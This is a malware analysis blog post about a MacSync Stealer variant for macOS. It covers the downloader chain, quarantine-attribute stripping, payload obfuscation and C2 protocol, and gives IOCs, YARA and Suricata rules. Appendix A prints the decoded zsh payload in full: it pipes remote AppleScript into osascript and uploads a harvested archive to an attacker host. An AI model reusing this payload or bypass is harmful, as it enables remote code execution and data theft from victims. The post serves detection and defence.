Summary#

I recently obtained a sample of a macOS infostealer that caught my attention for its operational sophistication. What initially appeared to be a straightforward Swift downloader revealed itself to be a well-engineered three-stage attack chain with some interesting anti-analysis and evasion techniques.

Concurrent analysis by Jamf Threat Labs has confirmed this sample is a variant of MacSync Stealer, a macOS infostealer operating under the Malware-as-a-Service (MaaS) model. The threat actor operates under the alias “mentalpositive” on underground forums. Apple has since revoked the developer certificate (Team ID GNJLS3UYZ4).

The sample, which I’m calling UserSyncWorker based on its internal naming, operates through a carefully orchestrated infection chain. The first stage is a Swift-based Mach-O binary that functions as a downloader, pulling a Zsh wrapper script from its primary C2 at gatemaden[.]space. That wrapper contains a Base64 and Gzip encoded payload which, when decoded, communicates with a secondary C2 at focusgroovy[.]com to retrieve AppleScript commands and exfiltrate harvested data.

What makes this sample notable is its defense evasion. The downloader programmatically strips the com.apple.quarantine extended attribute before executing downloaded payloads, bypassing Gatekeeper. Rate limiting logic prevents rapid re-execution, likely to frustrate sandbox analysis. Code signature validation ensures only payloads signed with a specific TeamIdentifier execute. These are not commodity malware techniques.

The final stage retrieves AppleScript dynamically via HTTP and pipes it directly to osascript for execution. Collected data ends up archived at /tmp/osalogging.zip before exfiltration. That “osalogging” naming convention is a strong indicator of keystroke logging or credential harvesting functionality.

Let us walk through the analysis.

Sample Information#

FieldValue
Filenamemalware (original name unknown)
File TypeMach-O 64-bit x86-64 executable
Architecturex86-64
Framework/PlatformmacOS / Swift
File Size285,488 bytes
SHA25606c74829d8eee3c47e17d01c41361d314f12277d899cc9dfa789fe767c03693e
MD5aa3804744ef482e6c509a77511f98667
Entry Point0x100003fb0
Compilation TimestampNot recovered (Swift binary)
Campaign/FamilyOSX.MacSync.B (MacSync Stealer)

Attack Chain Overview#

Before diving into the technical details, here is how the full infection chain operates:

MacSync Stealer Attack Chain Overview

The stages unfold as follows:

  1. Stage 1 initialises: Creates ~/Library/Application Support/UserSyncWorker/ for state persistence and ~/Library/Logs/UserSyncWorker.log for activity logging.

  2. Connectivity check: Issues an HTTP request to www.apple.com using a dispatch semaphore for synchronous execution. Classic “am I online” check.

  3. Rate limiting: Reads ~/last_update to determine if sufficient time has elapsed since previous execution. This prevents rapid re-execution and likely evades automated sandbox analysis that only observes short execution windows.

  4. Payload download: Downloads Stage 2 from gatemaden[.]space using curl with enforced TLS 1.2 minimum. ETag headers are cached to ~/gate/etag for conditional GET requests, reducing network noise.

  5. Signature validation: Validates the payload’s code signature using codesign and spctl. Only payloads signed with TeamIdentifier GNJLS3UYZ4 proceed. This is interesting operational security.

  6. Gatekeeper bypass: Removes the com.apple.quarantine extended attribute from the payload, bypassing Gatekeeper enforcement.

  7. Stage 2 execution: The Zsh script is executed via NSTask. It decodes an embedded Base64+Gzip payload into memory and executes it via eval, leaving no disk artifacts.

  8. Stage 3 daemonises: Redirects file descriptors to /dev/null, then contacts focusgroovy[.]com/dynamic to retrieve AppleScript commands.

  9. AppleScript execution: Retrieved AppleScript is piped directly to osascript for execution without touching disk.

  10. Exfiltration: Uploads /tmp/osalogging.zip to focusgroovy[.]com/gate via HTTP POST multipart form, then deletes the archive.

The Gatekeeper Bypass#

The most interesting technique in this sample is the programmatic Gatekeeper bypass. Here is what happens:

macOS applies the com.apple.quarantine extended attribute to files downloaded from the internet. This is the “quarantine flag” that triggers Gatekeeper to verify code signatures and potentially block unsigned or maliciously signed executables. Users see the familiar “This application was downloaded from the Internet” dialog.

UserSyncWorker bypasses this entirely. The downloader invokes xattr (or equivalent API) to strip the quarantine attribute before executing the downloaded payload:

Gatekeeper Bypass Technique

It then calls spctl --assess --type execute to verify the bypass succeeded—this command returns exit code 0 for allowed applications and non-zero for rejected ones. This technique allows execution of payloads that would otherwise trigger Gatekeeper warnings or blocks.

The catch: this bypass requires the downloader itself to already be running with appropriate permissions. The initial infection vector likely involved user interaction or exploitation of a trusted application context. The downloader cannot bypass Gatekeeper for itself, only for subsequently downloaded payloads.

Code Signature Validation#

The downloader validates downloaded payloads using codesign -dv --verbose=4 and extracts the TeamIdentifier from the output. Execution proceeds only if the TeamIdentifier matches GNJLS3UYZ4.

1
2
$ codesign -dv --verbose=4 /tmp/runner 2>&1 | grep TeamIdentifier
TeamIdentifier=GNJLS3UYZ4    <-- Must match, or execution aborts

Note: The 2>&1 redirect is required because codesign outputs signature details to stderr, not stdout.

This serves dual purposes:

  1. Operational security: Prevents execution of tampered or substituted payloads. If a researcher swaps out the payload, it will not run.

  2. Attribution indicator: The operators possess a valid Apple Developer certificate, either legitimately obtained, stolen, or purchased. This is not commodity malware behaviour.

As noted in the Threat Intelligence section, Apple has since revoked this certificate.

Payload Obfuscation#

Stage 2 employs multiple obfuscation layers that make static analysis painful:

The outer Zsh script uses a randomised variable name (observed: d23670) and randomised heredoc delimiter (observed: PAYLOAD_m309032653423565). The inner payload is compressed with Gzip and encoded with Base64.

Payload Obfuscation Flow

The eval execution model prevents the decoded script from touching disk. Only memory forensics or network capture would reveal the final payload in a live infection. This is exactly the kind of in-memory execution that makes incident response more challenging.

C2 Communication Protocol#

The C2 infrastructure uses two separate domains with different protocols:

Stage 1 to gatemaden[.]space (HTTPS):

  • TLS 1.2 minimum enforced via --proto '=https' --tlsv1.2 --tls-max 1.3
  • Custom User-Agent: UserSyncWorker/1.0 (macOS)
  • ETag caching for conditional requests

Stage 3 to focusgroovy[.]com (HTTP):

  • Unencrypted HTTP (interesting choice)
  • Chrome User-Agent masquerading: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36...
  • API key header for authentication: api-key: 5190ef1733183a0dc63fb623357f56d6

The shift from HTTPS to HTTP between stages is notable. It may indicate infrastructure limitations, different operators for each stage, or intentional design. HTTP reduces TLS inspection visibility on the exfiltration channel, though at the cost of enabling network monitoring to observe the traffic content.

Data Collection and Exfiltration#

The final stage uploads /tmp/osalogging.zip to the C2 server. The “osalogging” name strongly suggests the dynamically retrieved AppleScript performs one or more of:

  • Keystroke logging via macOS accessibility APIs
  • Screen capture
  • Credential harvesting from Keychain

The exfiltration request includes the campaign token as the buildtxd form field, enabling the operators to correlate uploads with specific victims or campaigns:

1
2
3
4
5
6
POST /gate HTTP/1.1
Host: focusgroovy.com
Content-Type: multipart/form-data
...
-F "file=@/tmp/osalogging.zip"
-F "buildtxd=985683bd660c0c47c6be513a2d1f0a554d52d241714bb17fb18ab0d0f8cc2dc6"

After successful upload, the script deletes osalogging.zip to cover its tracks.

MITRE ATT&CK Mapping#

TechniqueIDContext in This Sample
Command and Scripting Interpreter: AppleScriptT1059.002Stage 3 pipes C2 response to osascript
Command and Scripting Interpreter: Unix ShellT1059.004Stage 2 Zsh wrapper; Stage 3 Zsh execution
Native APIT1106NSTask for process spawning
Subvert Trust Controls: Gatekeeper BypassT1553.001Removal of com.apple.quarantine attribute
Obfuscated Files or InformationT1027Base64+Gzip payload encoding
Deobfuscate/Decode Files or InformationT1140Runtime decoding via base64 -D and gunzip
Masquerading: Match Legitimate Name or LocationT1036.005Chrome User-Agent in Stage 3 requests
Indicator Removal: File DeletionT1070.004Deletion of osalogging.zip after exfiltration
Virtualization/Sandbox Evasion: Time Based EvasionT1497.003Rate limiting between executions
Application Layer Protocol: Web ProtocolsT1071.001HTTP/HTTPS C2 communication
Ingress Tool TransferT1105Payload download from gatemaden.space
Archive Collected DataT1560osalogging.zip creation
Exfiltration Over C2 ChannelT1041HTTP POST to /gate endpoint

Threat Intelligence and Attribution#

Open source intelligence research has positively identified this sample as a variant of MacSync Stealer, a macOS infostealer operating under the Malware-as-a-Service (MaaS) model. Jamf Threat Labs published concurrent analysis on 22 December 2025 confirming multiple exact indicator matches.

Attribution Confidence#

IndicatorMatch Status
Developer Team ID (GNJLS3UYZ4)Exact match
C2 Domains (gatemaden[.]space, focusgroovy[.]com)Exact match
Payload Path (/tmp/runner)Exact match
Binary SHA256Listed in Jamf IOCs
Obfuscation (base64 -D | gunzip | eval)Exact match
Function Name (daemon_function)Exact match

MacSync Stealer Evolution#

MacSync first emerged in April 2025 as “Mac.c Stealer” before rebranding. The variant analysed here represents the third generation of distribution methodology:

GenerationMethodUser Interaction
Gen 1 (April 2025)Drag-to-Terminal DMGHigh
Gen 2 (Mid 2025)ClickFix fake CAPTCHAMedium
Gen 3 (December 2025)Signed Swift dropperLow

This sample demonstrates a clear trend toward reducing user interaction requirements while increasing perceived legitimacy through code signing and notarization.

Certificate Status#

Apple has revoked the certificate associated with Developer Team ID GNJLS3UYZ4 following Jamf’s disclosure. Systems with updated XProtect signatures should now block execution of this specific dropper variant. However, this does not preclude the threat actor from obtaining new developer credentials.

MacSync competes directly with AMOS (Atomic macOS Stealer) in the MaaS market, the dominant macOS stealer family with tens of thousands of detections in 2025. Both families use AppleScript-based credential harvesting and HTTP POST exfiltration to similar endpoint structures.

Recommendations#

  1. Block DNS resolution for gatemaden[.]space and focusgroovy[.]com at enterprise DNS resolvers and perimeter firewalls.

  2. Deploy network detection for the User-Agent string UserSyncWorker/1.0 (macOS) in HTTP proxy logs and network monitoring systems.

  3. Monitor endpoint telemetry for creation of ~/Library/Application Support/UserSyncWorker/ or /tmp/osalogging.zip file paths.

  4. Alert on quarantine stripping: Processes invoking xattr to remove com.apple.quarantine followed by execution of the modified file.

  5. Verify XProtect is current: Apple has revoked the certificate for TeamIdentifier GNJLS3UYZ4. Ensure endpoints have updated XProtect definitions.

  6. Hunt for API key usage: Look for curl processes with the header value 5190ef1733183a0dc63fb623357f56d6 in command-line logging.

Conclusion#

This sample is confirmed as a variant of MacSync Stealer with high confidence based on exact matches across Developer Team ID, C2 infrastructure, payload paths, obfuscation methods, and binary hash. The sample represents the latest evolution in MacSync’s distribution methodology, leveraging code signing and notarization to bypass Gatekeeper without user interaction.

The combination of Gatekeeper bypass, code signature validation, rate limiting, and multi-layer payload obfuscation indicates operators with macOS-specific expertise. The threat actor “mentalpositive” continues to actively develop MacSync Stealer, demonstrating a clear trajectory toward more sophisticated delivery mechanisms.

The use of AppleScript for dynamic command execution and the “osalogging” artifact name strongly suggest credential or keystroke harvesting as the primary objective. While Apple has revoked the certificate used in this campaign, this does not preclude the threat actor from obtaining new developer credentials.

Organisations with macOS endpoints should treat this as an indicator of active targeting by financially motivated threat actors and prioritise deployment of the network and host-based detection recommendations in this report.

Indicators of Compromise#

Network IOCs#

TypeIndicatorDescription
Domaingatemaden[.]spaceStage 1 C2 server; payload distribution
Domainfocusgroovy[.]comStage 2/3 C2 server; command retrieval and exfiltration
URLhxxps://gatemaden[.]space/curl/985683bd660c0c47c6be513a2d1f0a554d52d241714bb17fb18ab0d0f8cc2dc6Stage 2 payload download endpoint
URLhxxp://focusgroovy[.]com/dynamicAppleScript command retrieval endpoint
URLhxxp://focusgroovy[.]com/gateData exfiltration endpoint
User-AgentUserSyncWorker/1.0 (macOS)Stage 1 HTTP requests
User-AgentMozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Stage 3 HTTP requests
HTTP Headerapi-key: 5190ef1733183a0dc63fb623357f56d6Stage 3 authentication header

Host-Based IOCs#

TypePath/ValueNotes
File Path~/Library/Application Support/UserSyncWorker/Malware state directory
File Path~/Library/Logs/UserSyncWorker.logExecution logging
File Path/tmp/runnerDownloaded payload staging
File Path/tmp/runner.headersHTTP response header cache
File Path/tmp/runner.codeHTTP status code cache
File Path/tmp/osalogging.zipExfiltration archive
File Path~/gate/etagETag cache for conditional requests
File Path~/last_updateRate limiting timestamp
Code SignatureTeamIdentifier: GNJLS3UYZ4Required signature for payload execution (REVOKED)
Token985683bd660c0c47c6be513a2d1f0a554d52d241714bb17fb18ab0d0f8cc2dc6Campaign or victim identifier

Appendix A: Decoded Stage 3 Payload#

The following is the decoded Stage 3 payload retrieved from the Zsh wrapper script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/zsh
daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    local domain="focusgroovy.com"
    local token="985683bd660c0c47c6be513a2d1f0a554d52d241714bb17fb18ab0d0f8cc2dc6"
    local api_key="5190ef1733183a0dc63fb623357f56d6"
    if [ $# -gt 0 ]; then
        curl -k -s --max-time 30 \
             -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
             -H "api-key: $api_key" \
             "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
    else
        curl -k -s --max-time 30 \
             -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
             -H "api-key: $api_key" \
             "http://$domain/dynamic?txd=$token" | osascript
    fi
    if [ $? -ne 0 ]; then
        exit 1
    fi
    curl -k -X POST \
         -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
         -H "api-key: $api_key" \
         -H "cl: 0" \
         --max-time 300 \
         -F "file=@/tmp/osalogging.zip" \
         -F "buildtxd=$token" \
         "http://$domain/gate"
    if [ $? -ne 0 ]; then
        exit 1
    fi
    rm -f /tmp/osalogging.zip
}
daemon_function "$@" &
exit 0

Note: The original decoded payload contained the syntax if daemon_function "$@" & then which is invalid Zsh—likely a bug or intentional obfuscation. The functional intent is shown above: background the daemon function and exit immediately.

The daemonisation via file descriptor redirection (exec </dev/null etc.) and the direct pipe from curl to osascript keeps the dynamically retrieved AppleScript entirely in memory.


Appendix B: Detection Rules#

YARA Rules#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
rule MAL_OSX_MacSync_Downloader_Dec25 {
    meta:
        description = "Detects MacSync Stealer Swift-based downloader (Stage 1)"
        author = "Rhys Downing"
        date = "2025-12-22"
        reference = "https://blog.threatuniverse.co.uk/posts/usersyncworker-macos-infostealer/"
        hash = "06c74829d8eee3c47e17d01c41361d314f12277d899cc9dfa789fe767c03693e"
        tlp = "TLP:GREEN"

    strings:
        $ua = "UserSyncWorker/1.0 (macOS)" ascii
        $c2 = "gatemaden.space" ascii
        $path1 = "/tmp/runner.headers" ascii
        $path2 = "/tmp/runner.code" ascii
        $path3 = "Library/Application Support/UserSyncWorker" ascii
        $team = "GNJLS3UYZ4" ascii
        $cmd1 = "spctl" ascii
        $cmd2 = "codesign" ascii
        $mach_o = { CF FA ED FE }

    condition:
        $mach_o at 0 and
        ($ua or $c2) and
        2 of ($path1, $path2, $path3) and
        ($team or 1 of ($cmd1, $cmd2))
}

rule MAL_OSX_MacSync_Stage2_Wrapper_Dec25 {
    meta:
        description = "Detects MacSync Stealer Stage 2 Zsh wrapper script"
        author = "Rhys Downing"
        date = "2025-12-22"
        reference = "https://blog.threatuniverse.co.uk/posts/usersyncworker-macos-infostealer/"
        tlp = "TLP:GREEN"

    strings:
        $shebang = "#!/bin/zsh" ascii
        $gunzip = "| gunzip" ascii
        $base64 = "base64 -D" ascii
        $eval = /eval \"\$[a-z0-9]+\"/ ascii
        $heredoc = /<<'PAYLOAD_[a-zA-Z0-9]+'/ ascii

    condition:
        $shebang at 0 and
        $gunzip and $base64 and
        ($eval or $heredoc)
}

rule MAL_OSX_MacSync_Stage3_Stealer_Dec25 {
    meta:
        description = "Detects MacSync Stealer Stage 3 infostealer payload"
        author = "Rhys Downing"
        date = "2025-12-22"
        reference = "https://blog.threatuniverse.co.uk/posts/usersyncworker-macos-infostealer/"
        tlp = "TLP:GREEN"

    strings:
        $domain = "focusgroovy.com" ascii
        $ep1 = "/dynamic" ascii
        $ep2 = "/gate" ascii
        $api = "5190ef1733183a0dc63fb623357f56d6" ascii
        $artifact = "osalogging" ascii
        $exec = "osascript" ascii

    condition:
        $domain and
        ($ep1 or $ep2) and
        ($api or $artifact or $exec)
}

Suricata Rules#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"MAL MacSync Stealer Stage1 User-Agent";
    flow:established,to_server;
    http.user_agent; content:"UserSyncWorker/1.0 (macOS)";
    classtype:trojan-activity;
    sid:2025122201; rev:1;
    metadata:created_at 2025_12_22, tlp GREEN;
)

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"MAL MacSync Stealer API Key Header";
    flow:established,to_server;
    http.header; content:"api-key|3a 20|5190ef1733183a0dc63fb623357f56d6";
    classtype:trojan-activity;
    sid:2025122202; rev:1;
    metadata:created_at 2025_12_22, tlp GREEN;
)

alert dns $HOME_NET any -> any any (
    msg:"MAL MacSync Stealer C2 Domain (gatemaden)";
    dns.query; content:"gatemaden.space"; nocase;
    classtype:trojan-activity;
    sid:2025122203; rev:1;
    metadata:created_at 2025_12_22, tlp GREEN;
)

alert dns $HOME_NET any -> any any (
    msg:"MAL MacSync Stealer C2 Domain (focusgroovy)";
    dns.query; content:"focusgroovy.com"; nocase;
    classtype:trojan-activity;
    sid:2025122204; rev:1;
    metadata:created_at 2025_12_22, tlp GREEN;
)

Appendix C: Key Binary Functions#

FunctionAddressPurpose
entry0x100003fb0Main entry point; initialises paths and invokes runInstaller
runInstaller0x100004a80Core logic: rate limiting, download, validation, execution
checkInternet0x100004780Connectivity verification via dispatch semaphore
log0x1000041d0Writes timestamped entries to UserSyncWorker.log

Appendix D: Extracted Strings#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
UserSyncWorker/1.0 (macOS)
gatemaden.space
~/Library/Application Support/UserSyncWorker
~/Library/Logs/UserSyncWorker.log
/tmp/runner
/tmp/runner.headers
/tmp/runner.code
TeamIdentifier
GNJLS3UYZ4
com.apple.quarantine
Starting update...
preflight: internet=
not modified (ETag)
rate-limit: defer, next in
warning: HTML payload
warning: Gatekeeper would reject payload
warning: TeamIdentifier mismatch: